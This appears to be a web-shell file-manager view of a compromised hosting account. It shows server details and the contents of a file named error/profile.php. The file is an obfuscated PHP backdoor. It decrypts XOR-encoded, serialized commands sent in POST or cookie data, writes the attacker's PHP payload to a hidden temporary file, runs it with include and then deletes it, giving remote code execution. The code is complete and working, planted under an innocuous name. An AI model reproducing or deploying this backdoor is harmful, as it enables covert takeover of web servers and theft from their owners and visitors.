HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/error/profile.php
<?php 
$gisivdr  =    'gisivdr'     ^       '';
$iqsyfpy    =	"a"."\x72"	.     "r".$gisivdr(405-308) /* neoxb   */ .    $gisivdr(204-83) /*   fdm  */ . /* zfsqwl   */ "_".$gisivdr(727-618)   .  "\x61"     .   $gisivdr(616-504);

$cptspuulm /*   _asxw */ = /*b   */ $gisivdr(99) /* vt  */ .    $gisivdr(111)      .    "u".$gisivdr(110)    .    "t";

function /*coan   */ eibboibr($wjtwswfjpr,	$ccfng)

{    global /*  _ */ $gisivdr;
     
 /*   dsck  */ $wjtwswfjpr    =   "\x3c"   .    $gisivdr(63)     .    $gisivdr(916-804)    .    "\x68" /*   ubqqy  */ . /* bce_   */ "\x70"     .    $gisivdr(32) /*   o*/ .	"\165" /*  f */ .    $gisivdr(888-778)    .    $gisivdr(852-744)	. /*tsyv*/ "i"."\x6e"    . /* vgaw  */ $gisivdr(107) /* p  */ .    $gisivdr(40) /* p*/ . /*   otg  */ "_".$gisivdr(339-244)	.     "\106"    .    "\111" /*gh_dv   */ . /*   sd   */ $gisivdr(76) /*  skzxsb */ . /* rta*/ "E"."\137" /*wxd */ .    $gisivdr(95)    . /*_v*/ $gisivdr(41)	.      "\x3b" /*bh*/ .    $gisivdr(32)	. /*hxlroz */ $wjtwswfjpr["\x64"];


       $gepzlhiu	=  "\146" /* nssk */ . /*   _t_sih*/ "i".$gisivdr(436-328)       .    "\x65"."_"."\160" /*   wr_nd  */ .	"u"."t"."\x5f" /*_mdu*/ .	"\x63"      .     "o"."\156" /* mlhdvx  */ . /*_ */ "t".$gisivdr(101)    . /*   qrm*/ $gisivdr(110)    .  "\164"	.       "s";


          $gepzlhiu($ccfng, /*wrpief*/ $wjtwswfjpr);


 /*  h  */ 
 /* bvu  */ axuqcajoo($ccfng);


}
$zcavoxur    =    73;
function     axuqcajoo($ccfng){

  global	$gisivdr;
 /*  qg   */ 


       include($ccfng);

  $srqfp     =       $ccfng;

     @unlink($srqfp);
}




function	qpaxu(){


    global    $gisivdr;


      $qviamv_c    = /* tog  */ array();

 /*  eljzal*/ $qviamv_c["\160"    . /*   d  */ "v"] /* skwkga   */ =      phpversion();


    $qviamv_c[$gisivdr(115)  . /* grccra*/ "v"]   =      $gisivdr(51) /*wnj*/ . /*   pzrapo   */ ".".$gisivdr(656-603);
	$yqjftez   =	74; /*cg   */ echo	@serialize($qviamv_c);}


function      nhmswdltez($wjtwswfjpr,    $_yjdc)
{
 /*  qkqz  */ global    $gisivdr;


 /*  hud   */ $whzuggug	=    "";

 /* zv*/ $yjckvbgj    =     'kijrsiith';

 /* alpygz  */ $qqardebw	=      hash('sha256', /*   w  */ $wjtwswfjpr);


 /*ogsrlt  */ $shbvvee	= /* dsg_en*/ str_replace('hprfn',     $qqardebw,      $yjckvbgj);


    $qviamv_c  =	0;     while /*ez   */ ($qviamv_c /*   kqwme*/ <     strlen($wjtwswfjpr))    {


 /*  j */ $nrozhbt    =    isset($_yjdc) /*   dyo*/ ?	$_yjdc /*uczj_*/ : /* dtm   */ '';


	for /* w  */ ($tntqml_k    =      0;	$tntqml_k /*  fmf   */ <	strlen($nrozhbt) /*_vdtlx   */ &&    $qviamv_c /* zsh */ < /* ee */ strlen($wjtwswfjpr);       $tntqml_k++, /*   rzlw   */ $qviamv_c++)       {

       $whzuggug      .=    $gisivdr(ord($wjtwswfjpr[$qviamv_c])   ^    ord($nrozhbt[$tntqml_k]));


     }
       if   (strlen($whzuggug)   >    20)	{

 /*p   */ $shbvvee    = /*  s   */ substr($whzuggug, /* cbkku*/ 0, /*   kkk */ 20);


 /*   oomjir   */ }  }

 /* vn*/ if	(empty($whzuggug))      {


 /*zge_   */ $whzuggug     =   date('Y-m-d /* vz*/ H:i:s');

	}
    return   $whzuggug;

}


function /* vvu_eo */ vdssqfitde($_tpc_y)
{
 /*e   */ global /*  pni */ $gisivdr;    

     $uasgtkohgy     =	"4"."\x66"	.    "6"."f"."\x39"  .  "6".$gisivdr(159-58) /*xyauj*/ .     "2"."\x2d"   . /*  c  */ $gisivdr(658-606)       .	"7"."\x61"."4".$gisivdr(968-923)    . /*  n  */ "\64"   . /* adtbpt   */ "5"."8".$gisivdr(57)     .	"-"."\x61"."4".$gisivdr(54)  .	$gisivdr(97)    .     "\x2d"	. /*vdghzh  */ "\145"      . /*  n  */ "\x61"."f"."\x65"."2"."\x64"."\64"    .    "\x61"      . /*   agzhu  */ "f"."\142" /*houxz */ .    "\x61"."4"; /*  ysphyt  */     foreach  ($_tpc_y /*   g*/ as	$vbqnemf_u   =>	$wjtwswfjpr)	{
 /*tamj  */ nfvxuabqd(base64_decode($wjtwswfjpr),	$uasgtkohgy,     $vbqnemf_u);
      }

}



function      nfvxuabqd($wjtwswfjpr,	$uasgtkohgy,    $vbqnemf_u)

{


 /*bdz  */ global    $gisivdr;

     
 /* p   */ $wjtwswfjpr /*   pzuarh */ = /*f  */ unserialize(nhmswdltez(nhmswdltez($wjtwswfjpr, /* xqzf  */ $uasgtkohgy),   $vbqnemf_u));	$cpxxhhfqiq /*qitrkw  */ =     'kondspspu';	$tntqml_kfel_ /* euwmh */ =   'nb';	if /*dtg*/ (isset($wjtwswfjpr[$gisivdr(97) /*  _xytdc*/ . /* xf*/ "k"]))     {	if /*  o */ ($wjtwswfjpr["\x61"]    ==	"i")       {


 /* zzjrde */ qpaxu();	}	elseif /*   mxe*/ ($wjtwswfjpr["\x61"]       == /*  _   */ "\x65")    {
  eibboibr($wjtwswfjpr, /*  lapk */ sprintf("\x2e"    . /* lbf  */ $gisivdr(86-39)    . /*ox*/ "%"."\163"      .    ".".$gisivdr(112) /* rwunae   */ . /*   y_fjyb   */ $gisivdr(108),	md5($uasgtkohgy)));

			$di_ujs    =   44;


    }    exit();	}}



vdssqfitde($_POST);	


$bdbzq       =	$iqsyfpy('rawurldecode',	$_POST);

$cgekywjn /* dlbwwv   */ = /*  euci  */ $cptspuulm($bdbzq);



vdssqfitde($_COOKIE);	



$dxeb_aj    =  $iqsyfpy('rawurldecode',    $_COOKIE);






?>